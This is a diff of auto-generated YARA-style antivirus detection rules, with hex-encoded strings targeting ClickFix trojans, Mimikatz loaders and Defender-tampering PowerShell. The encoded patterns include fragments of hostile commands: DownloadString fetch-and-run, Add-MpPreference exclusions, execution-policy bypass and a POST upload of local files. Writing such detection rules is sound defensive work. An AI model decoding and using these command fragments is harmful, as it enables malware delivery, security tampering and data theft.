= {6f 00 6d 00 70 00 75 00 74 00 65 00 72 00 44 00 65 00 66 00 61 00 75 00 6c 00 74 00 73 00 2e 00 65 00 78 00 65 00 00 00 00 00 d7 bc 00 00 0a 00 0a 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 } //92 - $a_2f_7 = {65 74 73 68 45 6e 61 62 6c 65 52 44 50 2e 41 21 69 62 74 00 0a 00 88 02 61 00 64 00 76 00 66 00 69 00 72 00 65 00 77 00 61 00 6c 00 6c 00 20 00 66 00 } //13166 - condition: - ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*111+(#a_00_3 & 1)*12+(#a_00_4 & 1)*112+(#a_00_5 & 1)*114+(#a_00_6 & 1)*92+(#a_2f_7 & 1)*13166) >=121 - -} -rule _InfrastructureShared_26361{ +rule _InfrastructureShared_27941{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " @@ -344794,7 +365253,7 @@ rule _InfrastructureShared_26361{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*112) >=1 } -rule _InfrastructureShared_26362{ +rule _InfrastructureShared_27942{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -344804,19 +365263,57 @@ rule _InfrastructureShared_26362{ ((#a_46_0 & 1)*21283) >=10 } -rule _InfrastructureShared_26363{ +rule _InfrastructureShared_27943{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 48 56 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 3a 00 5b 00 69 00 6f 00 2e 00 70 00 61 00 74 00 68 00 5d 00 } //21283 + $a_00_1 = {47 00 65 00 74 00 44 00 69 00 72 00 65 00 63 00 74 00 6f 00 72 00 79 00 4e 00 61 00 6d 00 65 00 28 00 24 00 01 00 1c 00 3d 00 24 00 65 00 6e 00 76 00 3a 00 41 00 50 00 50 00 } //58 + $a_00_2 = {54 00 41 00 2b 00 01 00 16 00 3d 00 24 00 65 00 6e 00 76 00 3a 00 54 00 45 00 4d 00 50 00 2b 00 00 00 d7 bd 00 00 05 00 05 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 6f } //68 + $a_63_3 = {6e 76 2e 47 21 4d 54 42 00 01 00 14 00 50 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 20 00 61 00 64 00 64 00 2d 00 6d 00 70 00 70 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 01 00 1c 00 2d 00 65 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 70 00 61 00 74 00 68 00 01 00 20 00 24 00 65 00 6e 00 76 00 3a 00 55 00 53 00 45 } //17783 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*58+(#a_00_2 & 1)*68+(#a_63_3 & 1)*17783) >=111 + +} +rule _InfrastructureShared_27944{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 6f 77 45 78 63 45 6e 76 2e 47 21 4d 54 42 00 01 00 14 00 50 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 20 00 61 00 64 00 64 00 2d 00 6d 00 70 00 70 00 72 00 65 00 66 } //21283 + $a_00_2 = {63 00 65 00 01 00 1c 00 2d 00 65 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 70 00 61 00 74 00 68 00 01 00 20 00 24 00 65 00 6e 00 76 00 3a 00 55 00 53 00 45 00 52 00 50 00 52 00 4f 00 46 00 49 00 4c 00 45 00 01 00 0e 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 00 00 d7 be 00 00 03 00 03 00 03 00 21 23 53 4c 46 3a 54 72 } //101 + $a_6e_3 = {57 69 6e 33 32 2f 44 61 72 6b 47 61 74 65 43 6f 6d 6d 61 6e 64 4c 69 6e 65 2e 41 41 21 63 6d 64 00 01 00 14 00 49 00 43 00 41 00 43 00 4c 00 53 00 2e 00 45 00 58 00 45 00 01 00 2c 00 41 00 70 00 70 00 44 00 61 00 74 00 61 00 5c 00 4c 00 6f 00 63 00 61 00 6c 00 5c 00 54 00 65 00 6d 00 70 00 } //27247 + $a_00_4 = {57 00 2d 00 01 00 3c 00 2f 00 53 00 45 00 54 00 49 00 4e 00 54 00 45 00 47 00 52 00 49 00 54 00 59 00 4c 00 45 00 56 00 45 00 4c 00 20 00 28 00 43 00 49 00 29 00 28 00 4f 00 49 00 29 00 4c 00 4f 00 57 00 00 00 d7 be 00 00 03 00 03 } //92 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*101+(#a_6e_3 & 1)*27247+(#a_00_4 & 1)*92) >=5 + +} +rule _InfrastructureShared_27945{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 61 72 6b 47 61 74 65 43 6f 6d 6d 61 6e 64 4c 69 6e 65 2e 41 41 21 63 6d 64 00 01 00 14 00 49 00 43 00 41 00 43 00 4c 00 53 00 2e 00 45 00 58 00 45 00 01 00 2c 00 41 00 70 00 70 00 44 00 } //21283 - $a_00_1 = {61 00 5c 00 4c 00 6f 00 63 00 61 00 6c 00 5c 00 54 00 65 00 6d 00 70 00 5c 00 4d 00 57 00 2d 00 01 00 3c 00 2f 00 53 00 45 00 54 00 49 00 4e 00 54 00 45 00 47 00 52 00 49 00 54 00 59 00 4c 00 45 00 56 00 45 00 4c 00 20 00 28 00 43 00 49 00 29 00 28 00 4f 00 49 00 29 00 4c 00 4f 00 57 00 00 00 d7 be 00 00 14 00 14 00 02 00 21 23 53 4c 46 3a 54 72 } //97 - $a_6e_2 = {57 69 6e 33 32 2f 53 75 73 70 54 61 73 6b 43 72 65 61 74 65 2e 41 00 14 00 45 02 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 2e 00 65 00 78 00 65 00 90 02 ff 2f 00 63 00 72 00 65 00 61 00 74 00 65 00 90 02 ff 2f 00 74 00 72 00 90 02 ff 77 00 73 00 63 00 72 00 69 00 70 00 74 00 90 00 14 } //27247 + $a_00_1 = {61 00 5c 00 4c 00 6f 00 63 00 61 00 6c 00 5c 00 54 00 65 00 6d 00 70 00 5c 00 4d 00 57 00 2d 00 01 00 3c 00 2f 00 53 00 45 00 54 00 49 00 4e 00 54 00 45 00 47 00 52 00 49 00 54 00 59 00 4c 00 45 00 56 00 45 00 4c 00 20 00 28 00 43 00 49 00 29 00 28 00 4f 00 49 00 29 00 4c 00 4f 00 57 00 00 00 d7 be 00 00 03 00 03 00 04 00 21 23 53 4c 46 3a 54 72 } //97 + $a_6e_2 = {57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 44 44 21 4d 54 42 00 01 00 1a 00 53 00 74 00 61 00 72 00 74 00 2d 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 01 00 3a 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 77 00 77 00 77 00 2e 00 79 00 6f 00 75 00 74 00 75 00 62 00 65 00 2e 00 } //27247 condition: ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*97+(#a_6e_2 & 1)*27247) >=3 } -rule _InfrastructureShared_26364{ +rule _InfrastructureShared_27946{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 44 44 21 4d 54 42 00 01 00 1a 00 53 00 74 00 61 00 72 00 74 00 2d 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 01 00 3a 00 68 00 74 00 74 00 70 00 73 00 3a 00 } //21283 + $a_00_1 = {77 00 77 00 77 00 2e 00 79 00 6f 00 75 00 74 00 75 00 62 00 65 00 2e 00 63 00 6f 00 6d 00 2f 00 77 00 61 00 74 00 63 00 68 00 01 00 14 00 70 } //47 + $a_00_3 = {73 00 68 00 65 00 6c 00 6c 00 9c ff 1a 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 46 00 69 00 6c 00 65 00 73 00 00 00 d7 be 00 00 14 00 14 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 75 73 70 54 61 73 6b 43 72 65 61 74 65 2e 41 00 14 00 45 02 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 2e 00 65 00 78 00 } //101 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*47+(#a_00_3 & 1)*101) >=3 + +} +rule _InfrastructureShared_27947{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,14 00 14 00 02 00 21 " @@ -344827,31 +365324,149 @@ rule _InfrastructureShared_26364{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*-254) >=20 } -rule _InfrastructureShared_26365{ +rule _InfrastructureShared_27948{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,79 00 79 00 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 47 47 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 26 00 47 00 65 00 74 00 2d 00 41 00 6c 00 69 00 61 00 73 00 } //21283 + $a_00_1 = {2a 00 78 00 29 00 2e 00 4e 00 61 00 6d 00 65 00 0a 00 0c 00 2e 00 74 00 78 00 74 00 20 00 7c 00 01 00 2a 00 77 00 67 00 65 00 74 00 20 00 2d 00 75 00 73 00 65 00 62 00 61 00 73 00 69 00 63 00 70 00 61 00 72 00 73 00 69 } //32 + $a_00_3 = {77 00 67 00 65 00 74 00 20 00 2d 00 62 00 } //1 wget -b + $a_be_4 = {00 7e 00 7e 00 07 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 44 57 21 4d 54 42 00 64 00 14 00 50 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 14 00 3c 00 4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 63 00 6c 00 69 00 65 00 6e 00 74 00 29 00 2e 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 05 00 06 00 20 00 23 00 20 00 01 00 0a 00 2e 00 64 00 6f 00 63 00 78 00 01 00 08 00 2e 00 70 00 64 00 66 00 01 00 08 00 2e 00 74 00 78 00 74 00 01 00 08 00 2e 00 70 00 70 00 74 00 00 00 d7 bf 00 00 06 00 06 00 06 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 } //0 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*32+(#a_00_3 & 1)*1+(#a_be_4 & 1)*0) >=121 + +} +rule _InfrastructureShared_27949{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,7e 00 7e 00 07 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 44 57 21 4d 54 42 00 64 00 14 00 50 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 14 00 3c 00 4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 63 00 6c 00 69 00 } //21283 + $a_00_1 = {74 00 29 00 2e 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 05 00 06 00 20 00 23 00 20 00 01 00 0a 00 2e 00 64 00 6f 00 63 00 78 00 01 00 08 00 2e 00 70 00 64 00 66 00 01 00 08 00 2e 00 74 00 78 00 74 00 01 00 08 00 2e 00 70 00 70 00 74 00 00 00 d7 bf 00 00 06 00 06 00 06 00 21 23 } //101 + $a_3a_2 = {72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 43 43 56 21 4d 54 42 00 01 00 1a 00 4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 01 00 08 00 6a 00 6f 00 69 00 6e } //19539 潲慪㩮楗㍮⼲汃捩䙫硩䌮噃䴡䉔Āᨀ一攀琀⸀圀攀戀䌀氀椀攀渀琀Āࠀ樀漀椀渀 + $a_00_4 = {77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 90 02 50 24 00 90 00 01 00 20 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 01 00 12 00 24 00 65 00 6e 00 76 00 3a 00 54 00 45 00 4d 00 50 00 01 00 0c 00 68 00 69 00 64 00 64 00 65 00 6e 00 00 00 d7 bf 00 00 0a 00 0a 00 04 00 21 23 } //112 + $a_3a_5 = {72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 52 48 41 21 4d 54 42 00 02 00 24 00 2d 00 44 00 65 00 73 00 74 00 69 00 6e 00 61 00 74 00 69 00 6f 00 6e 00 50 00 61 00 74 00 68 00 20 00 24 00 01 } //19539 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*101+(#a_3a_2 & 1)*19539+(#a_00_4 & 1)*112+(#a_3a_5 & 1)*19539) >=126 + +} +rule _InfrastructureShared_27950{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 06 00 06 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 43 43 56 21 4d 54 42 00 01 00 1a 00 4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 01 00 08 00 6a 00 6f 00 69 00 6e 00 01 00 1b 02 } //21283 + $a_00_1 = {77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 90 02 50 24 00 90 00 01 00 20 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 01 00 12 00 24 00 65 00 6e 00 76 00 3a 00 54 00 45 00 4d 00 50 00 01 00 0c 00 68 00 69 00 64 00 64 00 65 00 6e 00 00 00 d7 bf 00 00 0a 00 0a 00 04 00 21 23 } //112 + $a_3a_2 = {72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 52 48 41 21 4d 54 42 00 02 00 24 00 2d 00 44 00 65 00 73 00 74 00 69 00 6e 00 61 00 74 00 69 00 6f 00 6e 00 50 00 61 00 74 00 68 00 20 00 24 00 01 } //19539 + $a_00_4 = {3a 00 54 00 45 00 4d 00 50 00 05 00 23 02 69 00 77 00 72 00 20 00 68 00 74 00 74 00 70 00 90 02 3c 2f 00 75 00 70 00 6c 00 6f 00 61 00 64 00 90 00 02 00 2c 00 2d 00 4d 00 65 00 74 00 68 00 6f 00 64 00 20 00 50 00 4f 00 53 00 54 00 20 00 2d 00 49 00 6e 00 46 00 69 00 6c 00 65 00 20 00 24 00 00 00 d7 bf 00 00 1f 00 1f 00 04 00 21 23 53 4c 46 3a 48 61 63 } //110 + $a_6f_5 = {3a 50 6f 77 65 72 53 68 65 6c 6c 2f 4d 69 6d 69 6b 61 74 7a 2e 42 21 74 72 69 67 67 65 72 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 1a 00 6e 00 65 00 74 00 2e 00 77 00 65 00 62 00 63 00 6c 00 69 00 65 00 6e 00 74 00 0a 00 20 00 2e 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 73 00 74 00 } //21611 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*112+(#a_3a_2 & 1)*19539+(#a_00_4 & 1)*110+(#a_6f_5 & 1)*21611) >=6 + +} +rule _InfrastructureShared_27951{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 52 48 41 21 4d 54 42 00 02 00 24 00 2d 00 44 00 65 00 73 00 74 00 69 00 6e 00 61 00 74 00 69 00 6f 00 6e 00 50 00 61 00 74 00 68 00 20 00 24 00 01 00 10 00 65 00 } //21283 + $a_00_1 = {3a 00 54 00 45 00 4d 00 50 00 05 00 23 02 69 00 77 00 72 00 20 00 68 00 74 00 74 00 70 00 90 02 3c 2f 00 75 00 70 00 6c 00 6f 00 61 00 64 00 90 00 02 00 2c 00 2d 00 4d 00 65 00 74 00 68 00 6f 00 64 00 20 00 50 00 4f 00 53 00 54 00 20 00 2d 00 49 00 6e 00 46 00 69 00 6c 00 65 00 20 00 24 00 00 00 d7 bf 00 00 1f 00 1f 00 04 00 21 23 53 4c 46 3a 48 61 63 } //110 + $a_6f_2 = {3a 50 6f 77 65 72 53 68 65 6c 6c 2f 4d 69 6d 69 6b 61 74 7a 2e 42 21 74 72 69 67 67 65 72 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 1a 00 6e 00 65 00 74 00 2e 00 77 00 65 00 62 00 63 00 6c 00 69 00 65 00 6e 00 74 00 0a 00 20 00 2e 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 73 00 74 00 } //21611 + $a_00_3 = {6e 00 67 00 28 00 01 00 2c 00 45 00 78 00 65 00 63 00 75 00 74 00 69 00 6f 00 6e 00 50 00 6f 00 6c 00 69 00 63 00 79 00 20 00 62 00 79 00 70 00 61 00 73 00 73 00 00 00 d7 bf 00 00 28 00 28 00 04 00 21 23 53 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 43 6f 73 6d 69 63 50 75 6c 73 65 2e 43 21 64 68 61 00 } //114 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*110+(#a_6f_2 & 1)*21611+(#a_00_3 & 1)*114) >=10 + +} +rule _InfrastructureShared_27952{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,1f 00 1f 00 04 00 21 " strings : $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 4d 69 6d 69 6b 61 74 7a 2e 42 21 74 72 69 67 67 65 72 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 1a 00 6e 00 65 00 74 00 2e 00 77 } //21283 - $a_00_2 = {69 00 65 00 6e 00 74 00 0a 00 20 00 2e 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 01 00 2c 00 45 00 78 00 65 00 63 00 75 00 74 00 69 00 6f 00 6e 00 50 00 6f 00 6c 00 69 00 63 00 79 00 20 00 62 00 79 00 70 00 61 00 73 00 73 00 00 00 d7 c0 00 00 15 00 15 00 04 00 21 23 53 4c } //99 - $a_72_3 = {6a 61 6e 3a 57 69 6e 33 32 2f 4d 50 54 61 6d 70 65 72 53 75 73 70 45 78 6c 63 2e 44 00 01 00 20 00 73 00 65 00 74 00 2d 00 6d 00 70 00 70 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 01 00 20 00 61 00 64 00 64 00 2d 00 6d 00 70 00 70 00 72 } //14918 + $a_00_2 = {69 00 65 00 6e 00 74 00 0a 00 20 00 2e 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 01 00 2c 00 45 00 78 00 65 00 63 00 75 00 74 00 69 00 6f 00 6e 00 50 00 6f 00 6c 00 69 00 63 00 79 00 20 00 62 00 79 00 70 00 61 00 73 00 73 00 00 00 d7 bf 00 00 28 00 28 00 04 00 21 23 53 4c } //99 + $a_61_3 = {6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 43 6f 73 6d 69 63 50 75 6c 73 65 2e 43 21 64 68 61 00 0a 00 0e 01 72 00 65 00 67 00 20 00 61 00 64 00 64 00 0a 00 14 01 52 00 45 00 47 00 5f 00 42 00 49 00 4e 00 } //14918 condition: - ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*99+(#a_72_3 & 1)*14918) >=31 + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*99+(#a_61_3 & 1)*14918) >=31 } -rule _InfrastructureShared_26366{ +rule _InfrastructureShared_27953{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,28 00 28 00 04 00 21 " + + strings : + $a_46_0 = {42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 43 6f 73 6d 69 63 50 75 6c 73 65 2e 43 21 64 68 61 00 0a 00 0e 01 72 00 65 00 67 00 20 00 61 00 64 00 64 00 0a 00 14 01 52 00 45 00 47 00 5f 00 42 00 49 00 4e 00 41 00 52 00 59 00 0a } //21283 + $a_48_1 = {4b } //21504 K + $a_00_3 = {55 00 52 00 52 00 45 00 4e 00 54 00 5f 00 55 00 53 00 45 00 52 00 5c 00 53 00 4f 00 46 00 54 00 57 00 41 00 52 00 45 00 5c 00 43 00 6c 00 61 00 73 00 73 00 65 00 73 00 5c 00 2e 00 70 00 69 00 65 00 74 } //95 + condition: + ((#a_46_0 & 1)*21283+(#a_48_1 & 1)*21504+(#a_00_3 & 1)*95) >=40 + +} +rule _InfrastructureShared_27954{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,15 00 15 00 04 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 50 54 61 6d 70 65 72 53 75 73 70 45 78 6c 63 2e 44 00 01 00 20 00 73 00 65 00 74 00 2d 00 6d 00 70 00 70 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 01 00 20 00 61 00 64 00 } //21283 $a_00_1 = {6d 00 70 00 70 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 0a 00 1c 00 2d 00 65 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f } //100 - $a_00_3 = {68 00 0a 00 26 00 2d 00 65 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 65 00 78 00 74 00 65 00 6e 00 73 00 69 00 6f 00 6e 00 00 00 d7 c1 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 48 69 64 64 65 6e 41 63 65 73 73 43 6f 6d 6d 61 6e 64 6c 69 6e 65 2e 41 41 00 01 00 04 00 2f 00 63 00 01 00 34 00 63 00 3a } //97 + $a_00_3 = {68 00 0a 00 26 00 2d 00 65 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 65 00 78 00 74 00 65 00 6e 00 73 00 69 00 6f 00 6e 00 00 00 d7 c0 00 00 78 00 78 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 44 56 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //97 condition: ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*100+(#a_00_3 & 1)*97) >=21 } -rule _InfrastructureShared_26367{ +rule _InfrastructureShared_27955{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,78 00 78 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 44 56 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 2c 00 7c 00 20 00 25 00 20 00 7b 00 20 00 5b 00 63 00 68 00 } //21283 + $a_00_1 = {5d 00 28 00 60 00 24 00 5f 00 20 00 2d 00 42 00 78 00 4f 00 52 00 0a 00 48 00 5b 00 73 00 43 00 52 00 69 00 70 00 54 00 62 00 4c 00 4f 00 43 00 6b 00 5d 00 3a 00 3a 00 63 00 72 00 65 00 41 00 74 00 65 00 28 00 5b 00 73 00 74 00 52 00 49 00 6e 00 } //97 + $a_00_2 = {3a 00 3a 00 4a 00 6f 00 69 00 4e 00 00 00 d7 c0 00 00 82 00 82 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 46 5a 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 16 00 2d 00 48 00 65 } //71 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*97+(#a_00_2 & 1)*71) >=120 + +} +rule _InfrastructureShared_27956{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff82 00 ffffff82 00 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 46 5a 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 16 00 2d 00 48 00 65 00 61 00 64 00 65 00 72 00 73 00 20 00 } //21283 + $a_00_1 = {0a 00 14 00 24 00 65 00 6e 00 76 00 3a 00 54 00 45 00 4d 00 50 00 5c 00 0a 00 1a 00 53 00 74 00 61 00 72 00 74 00 2d 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 18 fc 28 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 53 00 51 00 4c 00 20 00 53 00 65 00 72 00 76 00 65 00 72 00 00 00 d7 c0 00 00 83 00 83 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a } //64 + $a_33_2 = {2f 43 6c 69 63 6b 46 69 78 2e 44 42 50 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 2a 00 6e 00 65 00 77 00 2d 00 6f 00 62 00 6a 00 65 00 63 00 74 00 20 00 2d 00 63 00 6f 00 6d 00 6f 00 62 00 6a 00 65 00 63 00 74 00 0a 00 10 00 2e 00 49 00 6e 00 73 00 65 00 72 00 74 00 28 00 0a 00 } //26967 + $a_00_3 = {49 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 50 00 72 00 6f 00 64 00 75 00 63 00 74 00 28 00 24 00 01 00 10 00 55 00 49 00 4c 00 65 00 76 00 } //34 + $a_00_4 = {3d 00 00 00 d7 c1 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 45 45 4f 21 4d 54 42 00 01 00 57 02 2e 00 73 00 65 00 6e 00 64 00 28 00 29 00 3b 00 90 02 10 5b 00 74 00 65 00 78 00 74 00 2e 00 65 00 6e 00 63 00 6f 00 64 00 69 00 6e 00 67 00 5d 00 3a 00 3a 00 75 } //101 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*64+(#a_33_2 & 1)*26967+(#a_00_3 & 1)*34+(#a_00_4 & 1)*101) >=130 + +} +rule _InfrastructureShared_27957{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff83 00 ffffff83 00 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 42 50 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 2a 00 6e 00 65 00 77 00 2d 00 6f 00 62 00 6a 00 65 00 63 00 } //21283 + $a_00_1 = {2d 00 63 00 6f 00 6d 00 6f 00 62 00 6a 00 65 00 63 00 74 00 0a 00 10 00 2e 00 49 00 6e 00 73 00 } //116 + $a_00_2 = {74 00 28 00 0a 00 22 00 2e 00 49 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 50 00 72 00 6f 00 64 00 75 00 63 00 74 00 28 00 24 00 01 00 10 00 55 00 49 00 4c 00 65 00 76 00 65 00 6c 00 3d 00 00 00 d7 c1 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 45 45 4f 21 4d 54 42 00 01 00 57 02 } //101 + $a_00_3 = {65 00 6e 00 64 00 28 00 29 00 3b 00 90 02 10 5b 00 74 00 65 00 78 00 74 00 2e 00 65 00 6e 00 63 00 6f 00 64 00 69 